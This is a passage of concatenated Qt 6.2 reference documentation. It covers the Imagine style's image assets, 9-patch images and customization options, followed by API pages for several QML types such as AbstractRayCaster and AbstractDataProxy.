|  | indicator | same as above | .png |
| [RangeSlider](qml-qtquick-controls2-rangeslider) | background | vertical, horizontal, disabled, focused, mirrored, hovered | .9.png (or .png) |
| [RangeSlider](qml-qtquick-controls2-rangeslider) | progress | same as above | .9.png (or .png) |
|  | handle | first, second, vertical, horizontal, disabled, pressed, focused, mirrored, hovered | .png |
| [RoundButton](qml-qtquick-controls2-roundbutton) | background | disabled, pressed, checked, checkable, focused, highlighted, flat, mirrored, hovered | .9.png (or .png) |
| [ScrollBar](qml-qtquick-controls2-scrollbar) | background | vertical, horizontal, disabled, interactive, pressed, mirrored, hovered | .9.png (or .png) |
|  | handle | same as above | .9.png (or .png) |
| [ScrollIndicator](qml-qtquick-controls2-scrollindicator) | background | vertical, horizontal, disabled, mirrored, hovered | .9.png (or .png) |
|  | handle | same as above | .9.png (or .png) |
| [ScrollView](qml-qtquick-controls2-scrollview) | background | disabled, mirrored | .9.png (or .png) |
| [Slider](qml-qtquick-controls2-slider) | background | vertical, horizontal, disabled, pressed, focused, mirrored, hovered | .9.png (or .png) |
|  | handle | same as above | .9.png (or .png) |
|  | progress | same as above | .9.png (or .png) |
| [SpinBox](qml-qtquick-controls2-spinbox) | background | disabled, editable, focused, mirrored, hovered | .9.png (or .png) |
|  | editor | disabled, focused, mirrored, hovered | .9.png (or .png) |
|  | indicator | up, down, disabled, editable, pressed, focused, mirrored, hovered | .9.png (or .png) |
| [StackView](qtquickcontrols-changes-qt6#stackview) | background | disabled, mirrored | .9.png (or .png) |
| [SwipeDelegate](qml-qtquick-controls2-swipedelegate) | background | disabled, pressed, focused, highlighted, mirrored, hovered | .9.png (or .png) |
| [SwipeView](qml-qtquick-controls2-swipeview) | background | vertical, horizontal, disabled, interactive, focused, mirrored | .9.png (or .png) |
| [Switch](qml-qtquick-controls2-switch) | background | disabled, pressed, checked, focused, mirrored, hovered | .9.png (or .png) |
|  | handle | same as above | .9.png (or .png) |
|  | indicator | same as above | .9.png (or .png) |
| [SwitchDelegate](qml-qtquick-controls2-switchdelegate) | background | disabled, pressed, checked, focused, highlighted, mirrored, hovered | .9.png (or .png) |
|  | handle | same as above | .9.png (or .png) |
|  | indicator | same as above | .9.png (or .png) |
| [TabBar](qml-qtquick-controls2-tabbar) | background | disabled, header, footer, mirrored | .9.png (or .png) |
| [TabButton](qml-qtquick-controls2-tabbutton) | background | disabled, pressed, checked, focused, mirrored, hovered | .9.png (or .png) |
| [TextArea](qml-qtquick-controls2-textarea) | background | disabled, focused, mirrored, hovered | .9.png (or .png) |
| [TextField](qml-qtquick-controls2-textfield) | background | disabled, focused, mirrored, hovered | .9.png (or .png) |
| [ToolBar](qml-qtquick-controls2-toolbar) | background | disabled, header, footer, mirrored | .9.png (or .png) |
| [ToolButton](qml-qtquick-controls2-toolbutton) | background | disabled, pressed, checked, checkable, focused, highlighted, flat, mirrored, hovered | .9.png (or .png) |
| [ToolSeparator](qml-qtquick-controls2-toolseparator) | background | vertical, horizontal, disabled, mirrored | .9.png (or .png) |
|  | separator | same as above | .9.png (or .png) |
| [ToolTip](qtquickcontrols-changes-qt6#tooltip) | background |  | .9.png (or .png) |
| [Tumbler](qtquickcontrols-changes-qt6#tumbler) | background | disabled, focused, mirrored, hovered | .9.png (or .png) |

 ### Asset Examples

 The following table lists examples of assets (taken from the default Imagine style assets) for all controls. The list is not exhaustive, as not all elements need assets, but it can be used as a guide when creating your own assets.

 

| Control | Element | States | Asset | Notes |
| --- | --- | --- | --- | --- |
| [ApplicationWindow](qtquickcontrols-changes-qt6#applicationwindow) | background |  |  | [See footnote](qtquickcontrols2-imagine#sup1) 1 |
|  | overlay |  |  | [See footnote](qtquickcontrols2-imagine#sup1) 1 |
|  | overlay | modal |  | [See footnote](qtquickcontrols2-imagine#sup1) 1 |
| [Button](qml-qtquick-controls2-button) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | focused |  |  |
|  | background | pressed |  |  |
|  | background | checked |  |  |
|  | background | checked, disabled |  |  |
|  | background | checked, focused |  |  |
|  | background | checked, hovered |  |  |
|  | background | highlighted |  |  |
|  | background | highlighted, disabled |  |  |
|  | background | highlighted, focused |  |  |
|  | background | highlighted, hovered |  |  |
|  | background | highlighted, pressed |  |  |
|  | background | highlighted, checked |  |  |
|  | background | hovered |  |  |
|  | background | flat |  |  |
|  | background | flat, disabled |  |  |
|  | background | flat, hovered |  |  |
|  | background | flat, pressed |  |  |
|  | background | flat, checked |  |  |
| [CheckBox](qml-qtquick-controls2-checkbox) | indicator |  |  |  |
|  | indicator | disabled |  |  |
|  | indicator | pressed |  |  |
|  | indicator | checked |  |  |
|  | indicator | checked, pressed |  |  |
|  | indicator | checked, hovered |  |  |
|  | indicator | checked, focused |  |  |
|  | indicator | partially, checked |  |  |
|  | indicator | partially, checked, pressed |  |  |
|  | indicator | partially, checked, focused |  |  |
|  | indicator | partially, checked, hovered |  |  |
|  | indicator | focused |  |  |
|  | indicator | hovered |  |  |
| [CheckDelegate](qml-qtquick-controls2-checkdelegate) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | pressed |  |  |
|  | background | focused |  |  |
|  | background | hovered |  |  |
|  | indicator |  |  |  |
|  | indicator | disabled |  |  |
|  | indicator | pressed |  |  |
|  | indicator | checked |  |  |
|  | indicator | checked, pressed |  |  |
|  | indicator | checked, focused |  |  |
|  | indicator | checked, hovered |  |  |
|  | indicator | focused |  |  |
|  | indicator | hovered |  |  |
|  | indicator | partially, checked |  |  |
|  | indicator | partially, checked, pressed |  |  |
|  | indicator | partially, checked, focused |  |  |
|  | indicator | partially, checked, hovered |  |  |
|  | indicator | hovered |  |  |
| [ComboBox](qtquickcontrols-changes-qt6#combobox) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | focused |  |  |
|  | background | hovered |  |  |
|  | background | pressed |  |  |
|  | background | open |  |  |
|  | background | editable |  |  |
|  | background | editable, focused |  |  |
|  | background | editable, disabled |  |  |
|  | indicator |  |  |  |
|  | indicator | disabled |  |  |
|  | indicator | editable |  |  |
|  | indicator | editable, disabled |  |  |
|  | indicator | editable, mirrored |  |  |
|  | indicator | editable, mirrored, disabled |  |  |
|  | popup |  |  |  |
| [DelayButton](qml-qtquick-controls2-delaybutton) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | disabled, checked |  |  |
|  | background | focused |  |  |
|  | background | pressed |  |  |
|  | background | checked |  |  |
|  | background | checked, focused |  |  |
|  | background | checked, hovered |  |  |
|  | background | hovered |  |  |
|  | progress |  |  |  |
|  | progress | disabled |  |  |
|  | mask |  |  |  |
| [Dial](qml-qtquick-controls2-dial) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | focused |  |  |
|  | handle |  |  |  |
|  | handle | disabled |  |  |
|  | handle | focused |  |  |
|  | handle | focused, pressed |  |  |
|  | handle | focused, hovered |  |  |
|  | handle | pressed |  |  |
|  | handle | hovered |  |  |
| [Dialog](qtquickcontrols-changes-qt6#dialog) | background |  |  |  |
|  | overlay |  |  | [See footnote](qtquickcontrols2-imagine#sup1) 1 |
|  | overlay | modal |  | [See footnote](qtquickcontrols2-imagine#sup1) 1 |
| [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox) | background |  |  |  |
| [Drawer](qml-qtquick-controls2-drawer) | background | left |  |  |
|  | background | right |  |  |
|  | background | top |  |  |
|  | background | bottom |  |  |
|  | overlay |  |  | [See footnote](qtquickcontrols2-imagine#sup1) 1 |
|  | overlay | modal |  | [See footnote](qtquickcontrols2-imagine#sup1) 1 |
| [Frame](qml-qtquick-controls2-frame) | background |  |  |  |
| [GroupBox](qml-qtquick-controls2-groupbox) | background |  |  |  |
|  | title |  |  |  |
| [ItemDelegate](qml-qtquick-controls2-itemdelegate) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | pressed |  |  |
|  | background | focused |  |  |
|  | background | hovered |  |  |
|  | background | highlighted |  |  |
| [Menu](qtquickcontrols-changes-qt6#menu) | background |  |  |  |
| [MenuItem](qml-qtquick-controls2-menuitem) | background |  |  |  |
|  | background | highlighted |  |  |
|  | arrow |  |  |  |
|  | arrow | mirrored |  |  |
|  | arrow | disabled |  |  |
|  | arrow | mirrored, disabled |  |  |
|  | indicator |  |  |  |
|  | indicator | disabled |  |  |
|  | indicator | pressed |  |  |
|  | indicator | checked |  |  |
|  | indicator | checked, pressed |  |  |
|  | indicator | checked, focused |  |  |
|  | indicator | checked, hovered |  |  |
|  | indicator | focused |  |  |
|  | indicator | hovered |  |  |
| [MenuSeparator](qml-qtquick-controls2-menuseparator) | separator |  |  |  |
| [Page](qml-qtquick-controls2-page) | background |  |  | [See footnote](qtquickcontrols2-imagine#sup1) 1 |
| [PageIndicator](qml-qtquick-controls2-pageindicator) | delegate |  |  |  |
|  | delegate | disabled |  |  |
|  | delegate | disabled, current |  |  |
|  | delegate | pressed |  |  |
|  | delegate | current |  |  |
| [Pane](qml-qtquick-controls2-pane) | background |  |  |  |
| [Popup](qml-qtquick-controls2-popup) | background |  |  | [See footnote](qtquickcontrols2-imagine#sup1) 1 |
|  | overlay |  |  | [See footnote](qtquickcontrols2-imagine#sup1) 1 |
|  | overlay | modal |  |  |
| [ProgressBar](qml-qtquick-controls2-progressbar) | background |  |  |  |
|  | progress |  |  |  |
|  | mask |  |  |  |
| [RadioButton](qml-qtquick-controls2-radiobutton) | indicator |  |  |  |
|  | indicator | disabled |  |  |
|  | indicator | pressed |  |  |
|  | indicator | checked |  |  |
|  | indicator | checked, focused |  |  |
|  | indicator | checked, hovered |  |  |
|  | indicator | checked, pressed |  |  |
|  | indicator | focused |  |  |
|  | indicator | hovered |  |  |
| [RadioDelegate](qml-qtquick-controls2-radiodelegate) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | pressed |  |  |
|  | background | focused |  |  |
|  | background | hovered |  |  |
|  | indicator |  |  |  |
|  | indicator | disabled |  |  |
|  | indicator | pressed |  |  |
|  | indicator | checked |  |  |
|  | indicator | checked, focused |  |  |
|  | indicator | checked, hovered |  |  |
|  | indicator | checked, pressed |  |  |
|  | indicator | focused |  |  |
|  | indicator | hovered |  |  |
| [RangeSlider](qml-qtquick-controls2-rangeslider) | background | vertical |  |  |
|  | background | horizontal |  |  |
|  | progress | vertical |  |  |
|  | progress | vertical, disabled |  |  |
|  | progress | horizontal |  |  |
|  | progress | horizontal, disabled |  |  |
|  | handle |  |  |  |
|  | handle | disabled |  |  |
|  | handle | focused |  |  |
|  | handle | focused, hovered |  |  |
|  | handle | focused, pressed |  |  |
|  | handle | hovered |  |  |
|  | handle | pressed |  |  |
| [RoundButton](qml-qtquick-controls2-roundbutton) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | disabled, checked |  |  |
|  | background | focused |  |  |
|  | background | pressed |  |  |
|  | background | checked |  |  |
|  | background | checked, focused |  |  |
|  | background | checked, hovered |  |  |
|  | background | highlighted |  |  |
|  | background | highlighted, pressed |  |  |
|  | background | highlighted, focused |  |  |
|  | background | highlighted, hovered |  |  |
|  | background | hovered |  |  |
| [ScrollBar](qml-qtquick-controls2-scrollbar) | handle |  |  |  |
|  | handle | disabled |  |  |
|  | handle | interactive |  |  |
|  | handle | interactive, disabled |  |  |
|  | handle | interactive, pressed |  |  |
|  | handle | interactive, hovered |  |  |
| [ScrollIndicator](qml-qtquick-controls2-scrollindicator) | handle |  |  |  |
| [Slider](qml-qtquick-controls2-slider) | background | vertical |  |  |
|  | background | horizontal |  |  |
|  | progress | vertical |  |  |
|  | progress | vertical, disabled |  |  |
|  | progress | horizontal |  |  |
|  | progress | horizontal, disabled |  |  |
|  | handle |  |  |  |
|  | handle | disabled |  |  |
|  | handle | focused |  |  |
|  | handle | focused, hovered |  |  |
|  | handle | focused, pressed |  |  |
|  | handle | hovered |  |  |
|  | handle | pressed |  |  |
| [SpinBox](qml-qtquick-controls2-spinbox) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | focused |  |  |
|  | background | editable |  |  |
|  | indicator | up |  |  |
|  | indicator | up, disabled |  |  |
|  | indicator | up, pressed |  |  |
|  | indicator | up, focused |  |  |
|  | indicator | up, mirrored |  |  |
|  | indicator | up, hovered |  |  |
|  | indicator | up, editable |  |  |
|  | indicator | up, editable, pressed |  |  |
|  | indicator | up, editable, focused |  |  |
|  | indicator | up, editable, mirrored |  |  |
|  | indicator | up, editable, hovered |  |  |
|  | indicator | down |  |  |
|  | indicator | down, disabled |  |  |
|  | indicator | down, pressed |  |  |
|  | indicator | down, focused |  |  |
|  | indicator | down, mirrored |  |  |
|  | indicator | down, hovered |  |  |
|  | indicator | down, editable |  |  |
|  | indicator | down, editable, pressed |  |  |
|  | indicator | down, editable, focused |  |  |
|  | indicator | down, editable, mirrored |  |  |
|  | indicator | down, editable, hovered |  |  |
| [SwipeDelegate](qml-qtquick-controls2-swipedelegate) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | pressed |  |  |
|  | background | focused |  |  |
|  | background | hovered |  |  |
| [Switch](qml-qtquick-controls2-switch) | indicator |  |  |  |
|  | indicator | disabled |  |  |
|  | indicator | pressed |  |  |
|  | indicator | checked |  |  |
|  | indicator | checked, focused |  |  |
|  | indicator | checked, hovered |  |  |
|  | indicator | checked, pressed |  |  |
|  | indicator | focused |  |  |
|  | indicator | hovered |  |  |
|  | handle |  |  |  |
|  | handle | disabled |  |  |
|  | handle | pressed |  |  |
| [SwitchDelegate](qml-qtquick-controls2-switchdelegate) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | pressed |  |  |
|  | background | focused |  |  |
|  | background | hovered |  |  |
|  | indicator |  |  |  |
|  | indicator | disabled |  |  |
|  | indicator | pressed |  |  |
|  | indicator | checked |  |  |
|  | indicator | checked, focused |  |  |
|  | indicator | checked, hovered |  |  |
|  | indicator | checked, pressed |  |  |
|  | indicator | focused |  |  |
|  | indicator | hovered |  |  |
|  | handle |  |  |  |
|  | handle | disabled |  |  |
| [TabBar](qml-qtquick-controls2-tabbar) | background |  |  |  |
| [TabButton](qml-qtquick-controls2-tabbutton) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | pressed |  |  |
|  | background | checked |  |  |
|  | background | hovered |  |  |
|  | background | disabled, checked |  |  |
| [TextArea](qml-qtquick-controls2-textarea) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | focused |  |  |
| [TextField](qml-qtquick-controls2-textfield) | background |  |  |  |
|  | background | disabled |  |  |
|  | background | focused |  |  |
| [ToolBar](qml-qtquick-controls2-toolbar) | background |  |  |  |
| [ToolButton](qml-qtquick-controls2-toolbutton) | background |  |  |  |
|  | background | disabled, checked |  |  |
|  | background | focused |  |  |
|  | background | pressed |  |  |
|  | background | checked |  |  |
|  | background | checked, focused |  |  |
|  | background | checked, hovered |  |  |
|  | background | hovered |  |  |
| [ToolSeparator](qml-qtquick-controls2-toolseparator) | separator | horizontal |  |  |
|  | separator | vertical |  |  |
| [ToolTip](qtquickcontrols-changes-qt6#tooltip) | background |  |  |  |

 1 A 1x1 image containing one color, stretched to fill the control.

 ### 9-Patch Images

 The Imagine style uses [9-patch images](https://developer.android.com/guide/topics/graphics/2d-graphics.html#nine-patch) in order to give designers control over how a particular element responds to being resized. Here is an example of a 9-patch image that represents a [Button](qml-qtquick-controls2-button)'s [background](qml-qtquick-controls2-control#background-prop), alongside a magnified version (to make it easier to see the 9-patch lines):

 ![]


The content of the image is 44 pixels wide by 32 pixels high. Every 9-patch image needs a one pixel thick line (collectively referred to as "9-patch lines") around every side, so the actual size of the image becomes 46 pixels wide by 34 pixels high. Note that the 9-patch lines must be one pixel thick regardless of the target DPI of the image. For example, the 9-patch lines for button-background.9.png and button-background@2x.9.png must both be one pixel thick.

 The 9-patch lines must be black, and the remaining areas must be transparent or white:

 ![]


#### Stretchable Areas

 The 9-patch lines on the top and left edges determine which parts of the image are stretched when it is resized.

 Below are examples of the 9-patch image being resized to one and a half times its original size in various dimensions:

 ![]


Notice how the the rounded corners keep their original size, as they are outside the range of the lines.

 #### Padding Areas

 The 9-patch lines on the right and bottom edges determine how much space is available for the control's [contentItem](qml-qtquick-controls2-control#contentItem-prop), which means it can also be thought of as controlling the [padding](qml-qtquick-controls2-control#padding-prop). For a diagram that illustrates padding, see [Control Layout](qml-qtquick-controls2-control#control-layout).

 Below are more examples of the 9-patch image being resized, but this time demonstrating how the padding 9-patch lines work.

 ![]


The `contentItem` can take up as much space as it needs within the shaded areas. If the padding lines are left out, the `contentItem` will take as much space as it needs without exceeding the stretchable areas.

 #### Inset Areas

 In some cases it is necessary for a control to have a drop shadow, for example. However, if we were to add a drop shadow to the button above, it would affect its size, which presents problems for both layouting and mouse/touch input boundaries.

 Inset areas accounts for this by telling the control that a certain area of the 9-patch image should go outside of the control:

 ![]


In the image below, the dashed line represents the button's clickable area, as well as the space that it will take up in a layout. The shadow is marked by the striped area behind it:

 ![]


#### Exporting 9-Patch Images

 Various vector and bitmap editors can be used to create 9-patch images suitable for use with the Imagine style. The following sections briefly explain the export process for each editor, and the last section explains how to ensure the exported images are 9-patch-conformant.

 ##### Illustrator

 See Adobe's [Asset Export panel](https://helpx.adobe.com/in/illustrator/using/collect-assets-export-for-screens.html#panel) documentation.

 ##### Inkscape

 The [Inkscape 9-Patch Export Extension](https://github.com/mitchcurtis/inkscape-9-patch-export) can be used to export assets with Inkscape.

 ##### Photoshop

 See Adobe's [Generate image assets from layers](https://helpx.adobe.com/photoshop/using/generate-assets-layers.html) documentation.

 ##### Sketch

 See Sketch's [Exporting](https://sketchapp.com/docs/exporting/) documentation.

 Qt Quick Controls also provides a [plugin](http://code.qt.io/cgit/qt/qtdeclarative.git/tree/src/quickcontrols2/imagine/design) for Sketch that automatically fixes the thickness of the 9-patch lines after the assets are exported. To install this file, double-click on it. Once Sketch has confirmed that the 9-patch export plugin has been installed, the plugin will automatically process images when they are exported.

 ##### Fixing 9-Patch Lines

 When exporting 9-patch images in several DPI variants (`@2x`, `@3x`, etc.), the 9-patch lines will typically be scaled up along with the image. There are several ways to fix this, but perhaps the simplest approach is to use [ImageMagick's mogrify](https://www.imagemagick.org/script/mogrify.php) tool. The tool has a `-shave` feature that can be used to crop the image to reduce the thickness of the 9-patch lines:

 
```
mogrify -shave 1x1 -path path/to/images *@2x.9.png
mogrify -shave 2x2 -path path/to/images *@3x.9.png
mogrify -shave 3x3 -path path/to/images *@4x.9.png
```
 Regular DPI images (those without the `@Nx` prefix) are not affected, so it is only necessary to run the command on images intended for high DPI displays.

 ### Animated Images

 The [WebP](https://developers.google.com/speed/webp/) and GIF animated image formats are supported by the Imagine style.

 ### Customization

 #### Path

 The Imagine style allows customizing the [path](qtquickcontrols2-imagine#imagine-path-attached-prop) that is used to do the image asset selection. The path can be specified for any window or item, and it automatically propagates to children in the same manner as [fonts](qml-qtquick-controls2-control#font-prop). In the following example, the window and all three radio buttons appear with dark image assets (files that are located in "qrc:/themes/dark").

 

|  |  |
| --- | --- |
| 
```
import QtQuick 2.12
import QtQuick.Controls 2.12
import QtQuick.Controls.Imagine 2.12

ApplicationWindow {
    visible: true

    Imagine.path: "qrc:/themes/dark"

    Column {
        anchors.centerIn: parent

        RadioButton { text: qsTr("Small") }
        RadioButton { text: qsTr("Medium"); checked: true }
        RadioButton { text: qsTr("Large") }
    }
}
```
 |  |

 In addition to specifying the path in QML, it is also possible to specify it via an [environment variable](qtquickcontrols2-imagine#imagine-customization-environment-variable) or in a [configuration file](qtquickcontrols2-imagine#imagine-customization-configuration-file). Attributes specified in QML take precedence over all other methods.

 ##### Configuration File

 

| Variable | Description |
| --- | --- |
| `Path` | Specifies the [path](qtquickcontrols2-imagine#imagine-path-attached-prop) to the directory that contains the Imagine style assets. If not specified, the built-in assets are used.For example, to specify a path to a directory stored in the [resource system](resources): 
```
[Imagine]
Path=:/imagine-assets
```
 To specify a relative path to a local directory: 
```
[Imagine]
Path=imagine-assets
```
  **Note:** Due to a technical limitation, the path should not be named *"imagine"* if it is relative to the `qtquickcontrols2.conf` file.  |

 See [Qt Quick Controls Configuration File](qtquickcontrols2-configuration) for more details about the configuration file.

 ##### Environment Variables

 

| Variable | Description |
| --- | --- |
| `QT_QUICK_CONTROLS_IMAGINE_PATH` | Specifies the path to the directory that contains the Imagine style assets. If not specified, the built-in assets are used.For example, to specify a path to a directory stored in the [resource system](resources): 
```
QT_QUICK_CONTROLS_IMAGINE_PATH=:/imagine-assets
```
 To specify a relative path to a local directory: 
```
QT_QUICK_CONTROLS_IMAGINE_PATH=imagine-assets
```
  **Note:** Due to a technical limitation, the path should not be named *"imagine"* if it is relative to the `qtquickcontrols2.conf` file.  |

 See [Supported Environment Variables in Qt Quick Controls](qtquickcontrols2-environment) for the full list of supported environment variables.

 #### Palette

 The Imagine style supports palette customization via the [palette](qml-qtquick-item#palette-prop) property and the [qtquickcontrols2.conf](qtquickcontrols2-configuration#palette-configuration) file. As with other styles, the exact [palette roles](qml-qtquick-palette) that the Imagine style uses are style-dependent. However, as most of the visual appearance of controls (for example: backgrounds) are managed through image assets, only the roles that are typically used for text will have an effect.

 #### Font

 Custom fonts can be set via the [font](qml-qtquick-controls2-control#font-prop) property and the [configuration](qtquickcontrols2-configuration#font-configuration) file.

 ### Dependency

 The Imagine style must be separately imported to gain access to the attributes that are specific to the Imagine style. It should be noted that regardless of the references to the Imagine style, the same application code runs with any other style. Imagine-specific attributes only have an effect when the application is run with the Imagine style.

 If the Imagine style is imported in a QML file that is always loaded, the Imagine style must be deployed with the application in order to be able to run the application regardless of which style the application is run with. By using [file selectors](qtquickcontrols2-fileselectors), style-specific tweaks can be applied without creating a hard dependency to a style.

 **See also** [Styling Qt Quick Controls](qtquickcontrols2-styles)

 Attached Property Documentation
-------------------------------

 ### Imagine.path : string


This attached property holds the path to the image assets...

 
```
Button {
    Imagine.path: "qrc:/themes/dark"
}
```
 Related Information
-------------------

 * [Styling Qt Quick Controls](qtquickcontrols2-styles)
* [Automotive Example](https://doc.qt.io/qt-6.2/qtquickcontrols-imagine-automotive-example.html)
* [Music Player Example](https://doc.qt.io/qt-6.2/qtquickcontrols-imagine-musicplayer-example.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-imagine.html>

AbstractClipBlendNode QML Type
==============================

 AbstractClipBlendNode is the base class for types used to construct animation blend trees. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Animation |
|  Since: |  Qt 5.9 |
|  Instantiates: | [QAbstractClipBlendNode](qt3danimation-qabstractclipblendnode) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-animation-abstractclipblendnode-members.html)

 Detailed Description
--------------------

 Animation blend trees are used with a [BlendedClipAnimator](qml-qt3d-animation-blendedclipanimator) to dynamically blend a set of animation clips together. The way in which the blending of animation clips is performed is controlled by the structure of the blend tree and the properties on the nodes it contains.

 The leaf nodes in a blend tree are containers for the input animation clips. These clips can be baked clips read from file via AnimationClipLoader, or they can be clips that you build within your application with AnimatitonClip and AnimationClipData. To include a clip in your blend tree, wrap it in a [ClipBlendValue](qml-qt3d-animation-clipblendvalue) node.

 The interior nodes of a blend tree represent blending operations that will be applied to their arguments which hold the input clips or even entire sub-trees of other blend tree nodes.

 At present, the Qt 3D Animation module provides the following blend tree node types:

 * Qt3D.Animation.[ClipBlendValue](qml-qt3d-animation-clipblendvalue)
* Qt3D.Animation.[LerpClipBlend](qml-qt3d-animation-lerpclipblend)
* Qt3D.Animation.QAdditiveClipBlend

 Additional node types representing other blending operations will be added in the future.

 **See also** [BlendedClipAnimator](qml-qt3d-animation-blendedclipanimator).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-animation-abstractclipblendnode.html>

AbstractDataProxy QML Type
==========================

 Base type for all [QtDataVisualization](https://doc.qt.io/qt-6.2/qtdatavisualization-qmlmodule.html) data proxies. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.0 |
|  Instantiates: | [QAbstractDataProxy](qabstractdataproxy) |
|  Inherited By: | [BarDataProxy](qml-qtdatavisualization-bardataproxy), [ScatterDataProxy](qml-qtdatavisualization-scatterdataproxy), and [SurfaceDataProxy](qml-qtdatavisualization-surfacedataproxy) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-abstractdataproxy-members.html)

 Properties
----------

 * **[type](qml-qtdatavisualization-abstractdataproxy#type-prop)** : AbstractDataProxy.DataType

 Detailed Description
--------------------

 This type is uncreatable, but contains properties that are exposed via the following subtypes: [BarDataProxy](qml-qtdatavisualization-bardataproxy), [ScatterDataProxy](qml-qtdatavisualization-scatterdataproxy), [SurfaceDataProxy](qml-qtdatavisualization-surfacedataproxy).

 For more information, see [Qt Data Visualization Data Handling](qtdatavisualization-data-handling).

 Property Documentation
----------------------

 ###  type : [AbstractDataProxy](qml-qtdatavisualization-abstractdataproxy).DataType

 The type of the proxy. One of the [QAbstractDataProxy::DataType](qabstractdataproxy#DataType-enum) values.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-abstractdataproxy.html>

AbstractRayCaster QML Type
==========================

 An abstract base class for ray casting in 3d scenes. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.11 |
|  Instantiates: | [QAbstractRayCaster](qt3drender-qabstractraycaster) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-abstractraycaster-members.html)

 Properties
----------

 * **[filterMode](qml-qt3d-render-abstractraycaster#filterMode-prop)** : enumeration
* **[hits](qml-qt3d-render-abstractraycaster#hits-prop)** : array
* **[runMode](qml-qt3d-render-abstractraycaster#runMode-prop)** : enumeration

 Detailed Description
--------------------

 AbstractRayCaster is an abstract base class for casting rays into a 3d scene. AbstractRayCaster can not be directly instantiated, but rather through its subclasses. QAbstractRayCaster specifies common properties for all ray casters, such as run mode and layer handling, while leaving the actual ray casting details to the subclasses.

 Ray castings differs from picking (using [ObjectPicker](qml-qt3d-render-objectpicker)) in that it does not require mouse events to trigger.

 By default, the instances of AbstractRayCaster are disabled. When enabled, the specified ray will be tested for intersecting objects at every frame. The AbstractRayCaster.hits property will be updated with the results of the ray casting, even if no objects are found.

 The Qt3D.Render::PickingSettings can be used to control the ray casting, such as which primitives are tested and how the results are returned.

 Furthermore, Qt3D.Render::Layer components can be used to control how entities, or entity sub-graphs, react to ray casting.

 Note: components derived from AbstractRayCaster should not be shared amount multiple entities.

 **See also** [Qt3D.Render::RayCaster](qml-qt3d-render-raycaster), [Qt3D.Render::ScreenRayCaster](qml-qt3d-render-screenraycaster), [Qt3D.Render::ObjectPicker](qml-qt3d-render-objectpicker), [Qt3D.Render::PickingSettings](qml-qt3d-render-pickingsettings), and [Qt3D.Render::NoPicking](qml-qt3d-render-nopicking).

 Property Documentation
----------------------

 ###  filterMode : [enumeration](qml-enumeration)

 Holds the filter mode specifying the entities to select for ray casting tests.

 The default value is `AbstractRayCaster.AcceptMatchingLayers`.

 

| Constant | Description |
| --- | --- |
| `AcceptAnyMatchingLayers` | Accept entities that reference one or more [Layer](qml-qt3d-render-layer) objects added to this [AbstractRayCaster](qml-qt3d-render-abstractraycaster). This is the default |
| `AcceptAllMatchingLayers` | Accept entities that reference all the [Layer](qml-qt3d-render-layer) objects added to this [AbstractRayCaster](qml-qt3d-render-abstractraycaster) |
| `DiscardAnyMatchingLayers` | Discard entities that reference one or more [Layer](qml-qt3d-render-layer) objects added to this [AbstractRayCaster](qml-qt3d-render-abstractraycaster) |
| `DiscardAllMatchingLayers` | Discard entities that reference all [Layer](qml-qt3d-render-layer) objects added to this [AbstractRayCaster](qml-qt3d-render-abstractraycaster) |

 ###  hits : array

 Holds the results of last ray casting test as an array of javascript objects. The fields defined on the objects are defined below.

 
```
{
    type // enum value of RayCasterHit.HitType
    entity // entity that was intersected
    distance // distance from ray origin to intersection
    localIntersection.x: // coordinate of intersection in the entity's coordinate system
    localIntersection.y
    localIntersection.z
    worldIntersection.x // coordinate of intersection in the model's coordinate system
    worldIntersection.y
    worldIntersection.z
    primitiveIndex // index of the primitive (triangle, line, point) that was intersected;
                   // (undefined if the picking mode is set to bounding volume)
    vertex1Index // index of the first point of the triangle or line that was intersected
                 // (undefined if the picking mode is set to bounding volume or points)
    vertex2Index // index of the second point of the triangle or line that was intersected
                 // (undefined if the picking mode is set to bounding volume or points)
    vertex3Index // index of the second point of the triangle that was intersected
                 // (undefined if the picking mode is set to bounding volume, points or lines)
}
```
 Note that even if successive tests return the exact same results (or empty results), a change notification will be emitted at every test.

 ###  runMode : [enumeration](qml-enumeration)

 Holds the run mode controlling how often ray casting tests are performed.

 

| Constant | Description |
| --- | --- |
| `Continuous` | Ray casting is performed at every frame as long as the component is enabled. |
| `SingleShot` | Ray casting is done once then the component disables itself. This is the default |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-abstractraycaster.html>

AbstractSeries QML Type
=======================

 Base type for all Qt Chart series types. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Instantiates: | [QAbstractSeries](qabstractseries) |
|  Inherited By: | [AbstractBarSeries](qml-qtcharts-abstractbarseries), [AreaSeries](qml-qtcharts-areaseries), [BoxPlotSeries](qml-qtcharts-boxplotseries), [CandlestickSeries](qml-qtcharts-candlestickseries), [PieSeries](qml-qtcharts-pieseries), and [XYSeries](qml-qtcharts-xyseries) |


